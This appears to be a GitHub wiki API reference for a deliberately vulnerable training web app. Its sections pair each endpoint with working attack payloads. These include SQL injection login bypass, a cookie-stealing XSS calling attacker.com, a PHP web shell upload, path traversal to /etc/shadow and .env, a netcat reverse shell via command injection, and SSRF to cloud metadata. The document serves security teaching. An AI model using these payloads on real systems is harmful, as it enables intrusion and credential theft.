API Reference - capstone-hermes/hermes-fullstack GitHub Wiki

API Reference

Overview

The Weak Website provides a RESTful API built with NestJS that intentionally contains security vulnerabilities for educational purposes. This reference documents all available endpoints, their parameters, responses, and security implications.

🚨 Security Notice

This API contains intentional vulnerabilities for educational purposes:

  • SQL injection in authentication endpoints
  • No input validation or sanitization
  • Excessive error information disclosure
  • Weak session management
  • Missing authorization controls

Base URL and Access

API Base URL

http://localhost:8080

API Documentation

Authentication

Most endpoints use Bearer token authentication with JWT tokens obtained from the login endpoint.

# Get token
TOKEN=$(curl -s -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"password123"}' | \
  jq -r '.token')

# Use token in requests
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/endpoint

Authentication Endpoints

POST /auth/login

Purpose: Authenticate user and receive JWT token

Vulnerability: SQL Injection, Credential Logging

Request

curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "password123"
  }'

Parameters

Parameter Type Required Description
email string Yes User email address
password string Yes User password

Response Success (200)

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

Response Error (400/401)

{
  "error": "Invalid credentials"
}

SQL Injection Examples

# Authentication bypass
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\''--","password":"anything"}'

# Union-based injection
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT 1,'\''[email protected]'\'','\''password'\'','\''admin'\''--","password":"password"}'

POST /auth/signup

Purpose: Register new user account

Vulnerability: SQL Injection, Privilege Escalation via Parameter Pollution

Request

curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "NewPass123!"
  }'

Parameters

Parameter Type Required Description
email string Yes User email address
password string Yes User password
role string No User role (vulnerable to pollution)

Response Success (201)

{
  "message": "User created successfully"
}

Privilege Escalation Examples

# Parameter pollution to create admin user
curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "HackerPass123!",
    "role": ["user", "admin"]
  }'

# SQL injection in registration
curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]'\'',(SELECT '\''password'\'','\''admin'\''))--","password":"ignored"}'

POST /auth/change-password

Purpose: Change user password (intentionally disabled)

Vulnerability: Always fails, no current password verification

Request

curl -X POST http://localhost:8080/auth/change-password \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "currentPassword": "oldpass",
    "newPassword": "newpass123"
  }'

Response (Always fails)

{
  "error": "Password change functionality is permanently disabled"
}

User Management Endpoints

GET /users/profile

Purpose: Get current user profile information

Authentication: Required (Bearer token)

Request

curl -H "Authorization: Bearer $TOKEN" \
  http://localhost:8080/users/profile

Response Success (200)

{
  "id": 1,
  "email": "[email protected]",
  "role": "admin",
  "createdAt": "2024-01-01T00:00:00.000Z"
}

POST /users/create

Purpose: Create new user (admin function)

Authentication: Required (Bearer token)

Vulnerability: No authorization checks

Request

curl -X POST http://localhost:8080/users/create \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "email": "[email protected]",
    "password": "CreatedPass123!",
    "role": "admin"
  }'

Post Management Endpoints

GET /posts/all

Purpose: Retrieve all posts from all users

Authentication: Not required

Vulnerability: Stored XSS, Information Disclosure

Request

curl http://localhost:8080/posts/all

Response Success (200)

[
  {
    "id": 1,
    "content": "Welcome to the platform!",
    "userId": 1,
    "userEmail": "[email protected]",
    "createdAt": "2024-01-01T00:00:00.000Z"
  },
  {
    "id": 2,
    "content": "<script>alert('XSS')</script>",
    "userId": 1,
    "userEmail": "[email protected]",
    "createdAt": "2024-01-01T00:15:00.000Z"
  }
]

POST /posts/create

Purpose: Create new post

Authentication: Required (Bearer token)

Vulnerability: XSS Storage, No Content Validation

Request

curl -X POST http://localhost:8080/posts/create \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "content": "This is my post content!"
  }'

Parameters

Parameter Type Required Description
content string Yes Post content (no sanitization)

Response Success (201)

{
  "id": 3,
  "content": "This is my post content!",
  "userId": 1,
  "createdAt": "2024-01-01T01:00:00.000Z"
}

XSS Examples

# Basic XSS payload
curl -X POST http://localhost:8080/posts/create \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"content":"<script>alert('\''XSS'\'')</script>"}'

# Image-based XSS
curl -X POST http://localhost:8080/posts/create \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"content":"<img src=x onerror=alert('\''XSS'\'')>"}'

# Cookie stealing XSS
curl -X POST http://localhost:8080/posts/create \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"content":"<script>fetch('\''http://attacker.com/steal?cookie='\''+document.cookie)</script>"}'

DELETE /posts/:id

Purpose: Delete specific post

Authentication: Required (Bearer token)

Vulnerability: No authorization checks (any user can delete any post)

Request

curl -X DELETE http://localhost:8080/posts/1 \
  -H "Authorization: Bearer $TOKEN"

Response Success (200)

{
  "message": "Post deleted successfully"
}

File Operations Endpoints

POST /file/upload

Purpose: Upload files to server

Authentication: Not required

Vulnerability: Unrestricted file upload, path traversal, no virus scanning

Request

curl -X POST http://localhost:8080/file/upload \
  -F "[email protected]"

Response Success (200)

{
  "originalname": "document.pdf",
  "filename": "document.pdf",
  "path": "uploads/document.pdf"
}

Malicious Upload Examples

# PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST http://localhost:8080/file/upload -F "[email protected]"

# Path traversal in filename
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected];filename=../../../backdoor.php"

# Large file DoS
dd if=/dev/zero of=large.bin bs=1M count=100
curl -X POST http://localhost:8080/file/upload -F "[email protected]"

GET /file/download/:filename

Purpose: Download uploaded files

Authentication: Not required

Vulnerability: Path traversal, unrestricted file access

Request

curl http://localhost:8080/file/download/document.pdf

Path Traversal Examples

# Access system files
curl "http://localhost:8080/file/download/../../../etc/passwd"
curl "http://localhost:8080/file/download/../../src/app.module.ts"

# Access uploaded shells
curl "http://localhost:8080/file/download/shell.php?cmd=whoami"

GET /file/retrieve

Purpose: Retrieve files by path

Authentication: Not required

Vulnerability: Path traversal, system file access

Request

curl "http://localhost:8080/file/retrieve?path=document.txt"

Parameters

Parameter Type Required Description
path string Yes File path (vulnerable to traversal)

Path Traversal Examples

# System files (Linux)
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/shadow"

# Application files
curl "http://localhost:8080/file/retrieve?path=../../../package.json"
curl "http://localhost:8080/file/retrieve?path=../../../.env"

# Windows files
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\win.ini"

POST /file/execute

Purpose: Execute system commands

Authentication: Not required

Vulnerability: Direct OS command injection

Request

curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command": "whoami"}'

Parameters

Parameter Type Required Description
command string Yes System command to execute

Response Success (200)

{
  "output": "root\n",
  "errors": "",
  "command": "whoami"
}

Command Injection Examples

# Basic commands
curl -X POST http://localhost:8080/file/execute \
  -d '{"command":"whoami"}' -H "Content-Type: application/json"

curl -X POST http://localhost:8080/file/execute \
  -d '{"command":"id"}' -H "Content-Type: application/json"

# Command chaining
curl -X POST http://localhost:8080/file/execute \
  -d '{"command":"whoami; id; pwd"}' -H "Content-Type: application/json"

# Reverse shell (educational - controlled environment only)
curl -X POST http://localhost:8080/file/execute \
  -d '{"command":"nc attacker.com 4444 -e /bin/bash"}' -H "Content-Type: application/json"

GET /file/remote

Purpose: Fetch remote files (SSRF demonstration)

Authentication: Not required

Vulnerability: Server-Side Request Forgery (SSRF)

Request

curl "http://localhost:8080/file/remote?url=http://example.com/file.txt"

SSRF Examples

# Internal network scanning
curl "http://localhost:8080/file/remote?url=http://192.168.1.1"
curl "http://localhost:8080/file/remote?url=http://localhost:22"

# Cloud metadata access
curl "http://localhost:8080/file/remote?url=http://169.254.169.254/metadata"

Validation and Input Testing Endpoints

GET /validation/input

Purpose: Demonstrate input validation bypasses

Authentication: Not required

Vulnerability: Various input validation flaws

Request

curl "http://localhost:8080/validation/input?data=test"

POST /validation/reflect

Purpose: Reflect user input (XSS testing)

Authentication: Not required

Vulnerability: Reflected XSS

Request

curl -X POST http://localhost:8080/validation/reflect \
  -H "Content-Type: application/json" \
  -d '{"input": "<script>alert('\''Reflected XSS'\'')</script>"}'

GET /validation/header

Purpose: Process HTTP headers

Authentication: Not required

Vulnerability: Header injection

Request

curl -H "X-Custom-Header: <script>alert('Header XSS')</script>" \
  http://localhost:8080/validation/header

Redirect and SSRF Endpoints

GET /redirect/to

Purpose: Redirect to specified URL

Authentication: Not required

Vulnerability: Open redirect

Request

curl "http://localhost:8080/redirect/to?url=http://example.com"

Open Redirect Examples

# Redirect to malicious site
curl "http://localhost:8080/redirect/to?url=http://malicious.com"

# Protocol confusion
curl "http://localhost:8080/redirect/to?url=javascript:alert('XSS')"

Health and Status Endpoints

GET /health

Purpose: Application health check

Authentication: Not required

Vulnerability: Information disclosure

Request

curl http://localhost:8080/health

Response

{
  "status": "ok",
  "timestamp": "2024-01-01T12:00:00.000Z",
  "uptime": 3600,
  "environment": "development",
  "version": "1.0.0",
  "memory": {
    "rss": 50331648,
    "heapTotal": 20971520,
    "heapUsed": 15728640
  },
  "pid": 1234,
  "platform": "linux",
  "nodeVersion": "v18.17.0"
}

GET /health/database

Purpose: Database connectivity check

Authentication: Not required

Vulnerability: Database credential disclosure

Request

curl http://localhost:8080/health/database

Response (Intentionally exposes credentials)

{
  "connected": true,
  "host": "db",
  "database": "hermes-weak-website-db",
  "user": "user",
  "password": "password"
}

Error Handling and Response Codes

HTTP Status Codes

  • 200: Success
  • 201: Created (for POST operations)
  • 400: Bad Request (malformed data)
  • 401: Unauthorized (invalid/missing token)
  • 404: Not Found
  • 500: Internal Server Error (often exposes sensitive information)

Error Response Format

{
  "error": "Detailed error message",
  "stack": "Full stack trace (in development)",
  "timestamp": "2024-01-01T12:00:00.000Z",
  "path": "/api/endpoint",
  "method": "POST"
}

Intentional Error Disclosure

The API intentionally exposes sensitive information in error messages:

# SQL error disclosure
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"malformed'\''"}'

# Stack trace disclosure
curl -X POST http://localhost:8080/posts/create \
  -H "Content-Type: application/json" \
  -d '{"invalid": "json"}'

Rate Limiting and Security Headers

Rate Limiting

Status: Not implemented (vulnerability)

  • No request rate limiting
  • No account lockout mechanisms
  • Unlimited concurrent requests allowed

Security Headers

Status: Missing or weak (intentional vulnerabilities)

# Check security headers
curl -I http://localhost:8080/api

# Missing headers:
# - Content-Security-Policy
# - X-Frame-Options
# - X-Content-Type-Options
# - Strict-Transport-Security

Testing and Automation

API Testing Script

#!/bin/bash
# api_test.sh - Comprehensive API testing

BASE_URL="http://localhost:8080"

echo "=== API Testing Suite ==="

# Test authentication
echo "Testing authentication..."
TOKEN=$(curl -s -X POST "$BASE_URL/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"password123"}' | \
  jq -r '.token')

if [ "$TOKEN" != "null" ]; then
    echo "✅ Authentication successful"
else
    echo "❌ Authentication failed"
    exit 1
fi

# Test SQL injection
echo "Testing SQL injection..."
INJECT_RESPONSE=$(curl -s -X POST "$BASE_URL/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\''--","password":"anything"}')

if echo "$INJECT_RESPONSE" | grep -q "token"; then
    echo "✅ SQL injection confirmed"
else
    echo "❌ SQL injection failed"
fi

# Test XSS storage
echo "Testing XSS storage..."
XSS_RESPONSE=$(curl -s -X POST "$BASE_URL/posts/create" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"content":"<script>alert('\''XSS'\'')</script>"}')

if echo "$XSS_RESPONSE" | grep -q "id"; then
    echo "✅ XSS payload stored"
else
    echo "❌ XSS storage failed"
fi

# Test path traversal
echo "Testing path traversal..."
TRAVERSAL_RESPONSE=$(curl -s "$BASE_URL/file/retrieve?path=../../../../etc/passwd")

if [[ ${#TRAVERSAL_RESPONSE} -gt 50 ]]; then
    echo "✅ Path traversal successful"
else
    echo "❌ Path traversal failed"
fi

# Test command injection
echo "Testing command injection..."
CMD_RESPONSE=$(curl -s -X POST "$BASE_URL/file/execute" \
  -H "Content-Type: application/json" \
  -d '{"command":"whoami"}')

if echo "$CMD_RESPONSE" | grep -q "output"; then
    echo "✅ Command injection confirmed"
else
    echo "❌ Command injection failed"
fi

echo "=== API Testing Complete ==="

Python API Client

#!/usr/bin/env python3
import requests
import json

class WeakWebsiteAPI:
    def __init__(self, base_url="http://localhost:8080"):
        self.base_url = base_url
        self.session = requests.Session()
        self.token = None
    
    def login(self, email, password):
        """Authenticate and get JWT token"""
        response = self.session.post(f"{self.base_url}/auth/login", 
                                   json={"email": email, "password": password})
        if response.status_code == 200:
            self.token = response.json().get('token')
            self.session.headers.update({'Authorization': f'Bearer {self.token}'})
            return True
        return False
    
    def create_post(self, content):
        """Create a new post"""
        return self.session.post(f"{self.base_url}/posts/create", 
                               json={"content": content})
    
    def get_posts(self):
        """Get all posts"""
        return self.session.get(f"{self.base_url}/posts/all")
    
    def execute_command(self, command):
        """Execute system command"""
        return self.session.post(f"{self.base_url}/file/execute", 
                                json={"command": command})
    
    def retrieve_file(self, path):
        """Retrieve file via path traversal"""
        return self.session.get(f"{self.base_url}/file/retrieve", 
                               params={"path": path})

# Example usage
api = WeakWebsiteAPI()
if api.login("[email protected]", "password123"):
    print("Authenticated successfully")
    
    # Test XSS
    response = api.create_post("<script>alert('XSS')</script>")
    print(f"XSS test: {response.status_code}")
    
    # Test command injection
    response = api.execute_command("whoami")
    print(f"Command injection: {response.json()}")

Related Documentation:

⚠️ **GitHub.com Fallback** ⚠️